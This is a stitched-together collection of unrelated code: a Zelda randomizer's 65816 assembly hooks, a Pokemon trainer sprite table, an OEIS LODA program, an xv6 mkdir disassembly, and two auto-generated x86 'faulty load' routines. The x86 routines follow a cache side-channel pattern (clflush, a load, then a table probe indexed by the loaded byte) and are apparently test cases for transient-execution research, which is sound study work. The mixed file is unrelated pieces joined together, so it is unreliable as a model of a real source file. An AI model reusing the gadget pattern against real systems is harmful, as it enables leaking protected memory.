JSL.l HUD_RebuildLong JSL.l FloodGateResetInner JSL.l SetSilverBowMode PLP : PLA RTL ;-------------------------------------------------------------------------------- OnQuit: JSL.l PodEGFix LDA.b #$10 : STA $1C ; thing we wrote over RTL ;-------------------------------------------------------------------------------- OnUncleItemGet: PHA LDA.l EscapeAssist BIT.b #$04 : BEQ + : STA !INFINITE_MAGIC : + BIT.b #$02 : BEQ + : STA !INFINITE_BOMBS : + BIT.b #$01 : BEQ + : STA !INFINITE_ARROWS : + PLA JSL Link_ReceiveItem LDA.l UncleRefill : BIT.b #$04 : BEQ + : LDA.b #$80 : STA $7EF373 : + ; refill magic LDA.l UncleRefill : BIT.b #$02 : BEQ + : LDA.b #50 : STA $7EF375 : + ; refill bombs LDA.l UncleRefill : BIT.b #$01 : BEQ + ; refill arrows LDA.b #70 : STA $7EF376 LDA.l ArrowMode : BEQ + LDA !INVENTORY_SWAP_2 : ORA #$80 : STA !INVENTORY_SWAP_2 ; enable bow toggle REP #$20 ; set 16-bit accumulator LDA $7EF360 : !ADD.l FreeUncleItemAmount : STA $7EF360 ; rupee arrows, so also give the player some money to start SEP #$20 ; set 8-bit accumulator + RTL ;-------------------------------------------------------------------------------- OnAga2Defeated: JSL.l Dungeon_SaveRoomData_justKeys ; thing we wrote over, make sure this is first JML.l IncrementAgahnim2Sword ;-------------------------------------------------------------------------------- OnFileCreation: TAX ; what we wrote over LDA StartingEquipment+$4C : STA $700340+$4C ; copy starting equipment swaps to file select screen LDA StartingEquipment+$4E : STA $700340+$4E RTL ;-------------------------------------------------------------------------------- !RNG_ITEM_LOCK_IN = "$7F5090" OnFileLoad: REP #$10 ; set 16 bit index registers JSL.l EnableForceBlank ; what we wrote over LDA.b #$07 : STA $210C ; Restore screen 3 to normal tile area LDA !FRESH_FILE_MARKER : BNE + JSL.l OnNewFile LDA.b #$FF : STA !FRESH_FILE_MARKER + LDA.w $010A : BNE + ; don't adjust the worlds for "continue" or "save-continue" LDA.l $7EC011 : BNE + ; don't adjust worlds if mosiac is enabled (Read: mirroring in dungeon) JSL.l DoWorldFix + JSL.l MasterSwordFollowerClear JSL.l InitOpenMode LDA #$FF : STA !RNG_ITEM_LOCK_IN ; reset rng item lock-in LDA #$00 : STA $7F5001 ; mark fake flipper softlock as impossible LDA.l GenericKeys : BEQ + LDA $7EF38B : STA $7EF36F ; copy generic keys to key counter + JSL.l SetSilverBowMode JSL.l RefreshRainAmmo JSL.l SetEscapeAssist LDA.l IsEncrypted : CMP.b #01 : BNE + JSL LoadStaticDecryptionKey + SEP #$10 ; restore 8 bit index registers RTL ;-------------------------------------------------------------------------------- !RNG_ITEM_LOCK_IN = "$7F5090" OnNewFile: PHX : PHP REP #$20 ; set 16-bit accumulator LDA.l LinkStartingRupees : STA $7EF362 : STA $7EF360 LDA.l StartingTime : STA $7EF454 LDA.l StartingTime+2 : STA $7EF454+2 LDX.w #$004E : - ; copy over starting equipment LDA StartingEquipment, X : STA $7EF340, X DEX : DEX BPL - LDX #$000E : - LDA $7EF37C, X : STA $7EF4E0, X DEX : DEX BPL - SEP #$20 ; set 8-bit accumulator ;LDA #$FF : STA !RNG_ITEM_LOCK_IN ; reset rng item lock-in LDA.l PreopenCurtains : BEQ + LDA.b #$80 : STA $7EF061 ; open aga tower curtain LDA.b #$80 : STA $7EF093 ; open skull woods curtain + LDA.l PreopenPyramid : BEQ + LDA.b #$20 : STA $7EF2DB ; pyramid hole already open + LDA.l PreopenGanonsTower : BEQ + LDA.b #$20 : STA $7EF2C3 ; Ganons Tower already open + LDA StartingSword : STA $7EF359 ; set starting sword type ; reset some values on new file that are otherwise only reset on hard reset STZ $03C4 ; ancilla slot index STZ $047A ; EG STZ $0B08 : STZ $0B09 ; arc variable STZ $0CFB ; enemies killed (pull trees) STZ $0CFC ; times taken damage (pull trees) STZ $0FC7 : STZ $0FC8 : STZ $0FC9 : STZ $0FCA : STZ $0FCB : STZ $0FCC : STZ $0FCD ; prize packs LDA #$00 : STA $7EC011 ; mosaic JSL InitRNGPointerTable ; boss RNG PLP : PLX RTL ;-------------------------------------------------------------------------------- OnInitFileSelect: ; LDA.b #$10 : STA $BC ; init sprite pointer - does nothing unless spriteswap.asm is included ; JSL.l SpriteSwap_SetSprite LDA.b #$51 : STA $0AA2 ;<-- Line missing from JP1.0, needed to ensure "extra" copy of naming screen graphics are loaded. JSL.l EnableForceBlank RTL ;-------------------------------------------------------------------------------- OnLinkDamaged: JSL.l FlipperKill JML.l OHKOTimer ;-------------------------------------------------------------------------------- OnEnterWater: JSL.l RegisterWaterEntryScreen JSL.l MysteryWaterFunction LDX.b #$04 RTL ;-------------------------------------------------------------------------------- OnLinkDamagedFromPit: JSL.l OHKOTimer LDA.b #$14 : STA $11 ; thing we wrote over RTL ;-------------------------------------------------------------------------------- OnLinkDamagedFromPitOutdoors: JML.l OHKOTimer ; make sure this is last ;-------------------------------------------------------------------------------- !RNG_ITEM_LOCK_IN = "$7F5090" OnOWTransition: JSL.l FloodGateReset JSL.l FlipperFlag JSL.l StatTransitionCounter PHP SEP #$20 ; set 8-bit accumulator LDA.b #$FF : STA !RNG_ITEM_LOCK_IN ; clear lock-in PLP RTL ;-------------------------------------------------------------------------------- !DARK_DUCK_TEMP = "$7F509C" OnLoadDuckMap: LDA !DARK_DUCK_TEMP BNE + INC : STA !DARK_DUCK_TEMP JSL OverworldMap_InitGfx : DEC $0200 RTL + LDA.b #$00 : STA !DARK_DUCK_TEMP JML OverworldMap_DarkWorldTilemap ;-------------------------------------------------------------------------------- PreItemGet: LDA.b #$01 : STA !ITEM_BUSY ; mark item as busy RTL ;-------------------------------------------------------------------------------- PostItemGet: JML.l MaybeWriteSRAMTrace ;-------------------------------------------------------------------------------- PostItemAnimation: LDA.b #$00 : STA !ITEM_BUSY ; mark item as finished LDA $7F509F : BEQ + STZ $1CF0 : STZ $1CF1 ; reset decompression buffer JSL.l Main_ShowTextMessage_Alt LDA.b #$00 : STA $7F509F + LDA.w $02E9 : CMP.b #$01 : BNE + LDA.b $2F : BEQ + JSL.l IncrementChestTurnCounter + STZ $02E9 : LDA $0C5E, X ; thing we wrote over to get here RTL ;--------------------------------------------------------------------------------
BTTrainerClassSprites: ; entries correspond to trainer classes db SPRITE_FALKNER db SPRITE_WHITNEY db SPRITE_BUGSY db SPRITE_MORTY db SPRITE_PRYCE db SPRITE_JASMINE db SPRITE_CHUCK db SPRITE_CLAIR db SPRITE_SILVER db SPRITE_OAK db SPRITE_WILL db SPRITE_CHRIS db SPRITE_BRUNO db SPRITE_KAREN db SPRITE_KOGA db SPRITE_LANCE db SPRITE_BROCK db SPRITE_MISTY db SPRITE_SURGE db SPRITE_SCIENTIST db SPRITE_ERIKA db SPRITE_YOUNGSTER db SPRITE_YOUNGSTER db SPRITE_YOUNGSTER db SPRITE_LASS db SPRITE_JANINE db SPRITE_COOLTRAINER_M db SPRITE_COOLTRAINER_F db SPRITE_BUENA db SPRITE_SUPER_NERD db SPRITE_ROCKET db SPRITE_GENTLEMAN db SPRITE_BUENA db SPRITE_TEACHER db SPRITE_SABRINA db SPRITE_BUG_CATCHER db SPRITE_FISHER db SPRITE_SUPER_NERD db SPRITE_COOLTRAINER_F db SPRITE_SAILOR db SPRITE_SUPER_NERD db SPRITE_BLUE db SPRITE_ROCKER db SPRITE_POKEFAN_M db SPRITE_BIKER db SPRITE_BLAINE db SPRITE_PHARMACIST db SPRITE_FISHER db SPRITE_SUPER_NERD db SPRITE_BLACK_BELT db SPRITE_ROCKET db SPRITE_YOUNGSTER db SPRITE_LASS db SPRITE_YOUNGSTER db SPRITE_ROCKET_GIRL db SPRITE_SAGE db SPRITE_GRANNY db SPRITE_ROCKER db SPRITE_POKEFAN_M db SPRITE_KIMONO_GIRL db SPRITE_TWIN db SPRITE_POKEFAN_F db SPRITE_RED db SPRITE_BLUE db SPRITE_OFFICER db SPRITE_ROCKET_GIRL db SPRITE_SUPER_NERD db SPRITE_SCIENTIST db SPRITE_OAK db SPRITE_SUPER_NERD db SPRITE_COOLTRAINER_M db SPRITE_BUG_CATCHER db SPRITE_KURT db SPRITE_GRANNY db SPRITE_COOLTRAINER_M
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xabe9, %r13 nop and $24338, %r11 movups (%r13), %xmm2 vpextrq $0, %xmm2, %rax nop nop nop nop and %r9, %r9 lea addresses_D_ht+0x39b1, %rbx cmp $31972, %r11 mov $0x6162636465666768, %r14 movq %r14, %xmm7 movups %xmm7, (%rbx) xor %r11, %r11 lea addresses_WC_ht+0xaba2, %rbx nop and %r14, %r14 vmovups (%rbx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r13 sub %r11, %r11 lea addresses_D_ht+0x13681, %rax nop nop nop and %r13, %r13 mov (%rax), %rbx nop nop add %r11, %r11 lea addresses_WC_ht+0x1c6b1, %rax add %rdx, %rdx vmovups (%rax), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r13 nop nop nop nop nop dec %rbx lea addresses_WT_ht+0x191b1, %r11 nop nop nop nop sub $8620, %r14 vmovups (%r11), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbx nop nop nop nop nop and $7905, %r9 lea addresses_WC_ht+0xc1b1, %rsi lea addresses_normal_ht+0x12211, %rdi nop nop nop nop nop sub %rbx, %rbx mov $122, %rcx rep movsw nop nop and %r14, %r14 lea addresses_A_ht+0xb5b1, %rcx nop nop nop nop sub %r11, %r11 movb $0x61, (%rcx) nop nop dec %r14 lea addresses_normal_ht+0x2db1, %r11 nop nop nop nop and $62673, %rdi mov $0x6162636465666768, %r13 movq %r13, (%r11) nop nop xor %r9, %r9 lea addresses_A_ht+0xddb1, %rdx nop nop nop nop nop add %rcx, %rcx movups (%rdx), %xmm7 vpextrq $0, %xmm7, %r13 nop nop nop nop nop dec %rax lea addresses_WT_ht+0xcb0d, %rsi lea addresses_WT_ht+0x143b1, %rdi nop nop nop cmp $62385, %r13 mov $95, %rcx rep movsl and $62904, %r11 lea addresses_WT_ht+0x57e9, %rsi lea addresses_UC_ht+0x11b1, %rdi sub $60497, %r13 mov $57, %rcx rep movsq sub $10132, %r13 lea addresses_WC_ht+0x15fb1, %rsi lea addresses_WC_ht+0x1d9b1, %rdi nop nop nop inc %rbx mov $61, %rcx rep movsl nop nop nop inc %rsi lea addresses_WT_ht+0x1eee1, %rcx nop nop nop nop nop xor $42171, %r13 movw $0x6162, (%rcx) nop nop cmp %r11, %r11 lea addresses_WT_ht+0x39b1, %r14 nop nop nop nop xor %rcx, %rcx mov $0x6162636465666768, %r13 movq %r13, %xmm3 movups %xmm3, (%r14) nop nop nop nop nop cmp $36642, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_D+0x1874f, %rsi lea addresses_D+0x65ec, %rdi nop nop nop nop nop cmp %rdx, %rdx mov $38, %rcx rep movsw nop cmp $3264, %rsi // Store lea addresses_UC+0x15b1, %rcx nop nop nop nop sub $23854, %r8 movb $0x51, (%rcx) nop nop nop xor $37983, %r12 // Store lea addresses_normal+0x141b1, %rcx nop nop add %r12, %r12 movl $0x51525354, (%rcx) nop sub $25533, %r12 // Load lea addresses_WT+0x69b1, %rsi nop nop nop nop nop add %r12, %r12 vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdx nop dec %rdx // Store lea addresses_WT+0x13641, %r8 nop nop nop nop nop dec %r12 mov $0x5152535455565758, %rcx movq %rcx, %xmm6 movups %xmm6, (%r8) nop nop nop cmp $4437, %rcx // Load mov $0x81, %rdi cmp %r8, %r8 mov (%rdi), %cx nop nop nop nop nop add $56545, %r14 // Faulty Load lea addresses_WT+0x69b1, %rsi clflush (%rsi) nop nop nop nop nop cmp %r12, %r12 movups (%rsi), %xmm7 vpextrq $1, %xmm7, %rdi lea oracles, %r14 and $0xff, %rdi shlq $12, %rdi mov (%r14,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
; A176736: a(n) = (n+9)*a(n-1) + (n-1)*a(n-2), a(-1)=0, a(0)=1. ; Submitted by Jamie Morken(s1) ; 1,10,111,1352,17909,256134,3931555,64441684,1123029513,20730064706,403978495031,8286870547680,178468044946621,4025739435397822,94912091598455979,2334250550458513004,59779945135439664785,1591626582328767492474,43990176790179196598143,1260374228606935319612536 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,10 add $2,$1 mul $3,$0 mov $1,$3 add $3,$2 lpe mov $0,$3
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %rax push %rbp push %rdi // Faulty Load lea addresses_WC+0x95eb, %rax nop nop cmp %r12, %r12 mov (%rax), %r8d lea oracles, %rdi and $0xff, %r8 shlq $12, %r8 mov (%rdi,%r8,1), %r8 pop %rdi pop %rbp pop %rax pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
_mkdir: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi int i; if(argc < 2){ 5: be 01 00 00 00 mov $0x1,%esi #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { a: 53 push %ebx b: 83 e4 f0 and $0xfffffff0,%esp e: 83 ec 10 sub $0x10,%esp 11: 8b 7d 08 mov 0x8(%ebp),%edi 14: 8b 45 0c mov 0xc(%ebp),%eax int i; if(argc < 2){ 17: 83 ff 01 cmp $0x1,%edi 1a: 8d 58 04 lea 0x4(%eax),%ebx 1d: 7e 3a jle 59 <main+0x59> 1f: 90 nop printf(2, "Usage: mkdir files...\n"); exit(); } for(i = 1; i < argc; i++){ if(mkdir(argv[i]) < 0){ 20: 8b 03 mov (%ebx),%eax 22: 89 04 24 mov %eax,(%esp) 25: e8 e0 02 00 00 call 30a <mkdir> 2a: 85 c0 test %eax,%eax 2c: 78 0f js 3d <main+0x3d> if(argc < 2){ printf(2, "Usage: mkdir files...\n"); exit(); } for(i = 1; i < argc; i++){ 2e: 83 c6 01 add $0x1,%esi 31: 83 c3 04 add $0x4,%ebx 34: 39 fe cmp %edi,%esi 36: 75 e8 jne 20 <main+0x20> printf(2, "mkdir: %s failed to create\n", argv[i]); break; } } exit(); 38: e8 65 02 00 00 call 2a2 <exit> exit(); } for(i = 1; i < argc; i++){ if(mkdir(argv[i]) < 0){ printf(2, "mkdir: %s failed to create\n", argv[i]); 3d: 8b 03 mov (%ebx),%eax 3f: c7 44 24 04 6d 07 00 movl $0x76d,0x4(%esp) 46: 00 47: c7 04 24 02 00 00 00 movl $0x2,(%esp) 4e: 89 44 24 08 mov %eax,0x8(%esp) 52: e8 99 03 00 00 call 3f0 <printf> break; 57: eb df jmp 38 <main+0x38> main(int argc, char *argv[]) { int i; if(argc < 2){ printf(2, "Usage: mkdir files...\n"); 59: c7 44 24 04 56 07 00 movl $0x756,0x4(%esp) 60: 00 61: c7 04 24 02 00 00 00 movl $0x2,(%esp) 68: e8 83 03 00 00 call 3f0 <printf> exit(); 6d: e8 30 02 00 00 call 2a2 <exit> 72: 66 90 xchg %ax,%ax 74: 66 90 xchg %ax,%ax 76: 66 90 xchg %ax,%ax 78: 66 90 xchg %ax,%ax 7a: 66 90 xchg %ax,%ax 7c: 66 90 xchg %ax,%ax 7e: 66 90 xchg %ax,%ax 00000080 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 80: 55 push %ebp 81: 89 e5 mov %esp,%ebp 83: 8b 45 08 mov 0x8(%ebp),%eax 86: 8b 4d 0c mov 0xc(%ebp),%ecx 89: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 8a: 89 c2 mov %eax,%edx 8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 90: 83 c1 01 add $0x1,%ecx 93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 97: 83 c2 01 add $0x1,%edx 9a: 84 db test %bl,%bl 9c: 88 5a ff mov %bl,-0x1(%edx) 9f: 75 ef jne 90 <strcpy+0x10> ; return os; } a1: 5b pop %ebx a2: 5d pop %ebp a3: c3 ret a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000b0 <strcmp>: int strcmp(const char *p, const char *q) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 8b 55 08 mov 0x8(%ebp),%edx b6: 53 push %ebx b7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) ba: 0f b6 02 movzbl (%edx),%eax bd: 84 c0 test %al,%al bf: 74 2d je ee <strcmp+0x3e> c1: 0f b6 19 movzbl (%ecx),%ebx c4: 38 d8 cmp %bl,%al c6: 74 0e je d6 <strcmp+0x26> c8: eb 2b jmp f5 <strcmp+0x45> ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi d0: 38 c8 cmp %cl,%al d2: 75 15 jne e9 <strcmp+0x39> p++, q++; d4: 89 d9 mov %ebx,%ecx d6: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d9: 0f b6 02 movzbl (%edx),%eax p++, q++; dc: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) df: 0f b6 49 01 movzbl 0x1(%ecx),%ecx e3: 84 c0 test %al,%al e5: 75 e9 jne d0 <strcmp+0x20> e7: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; e9: 29 c8 sub %ecx,%eax } 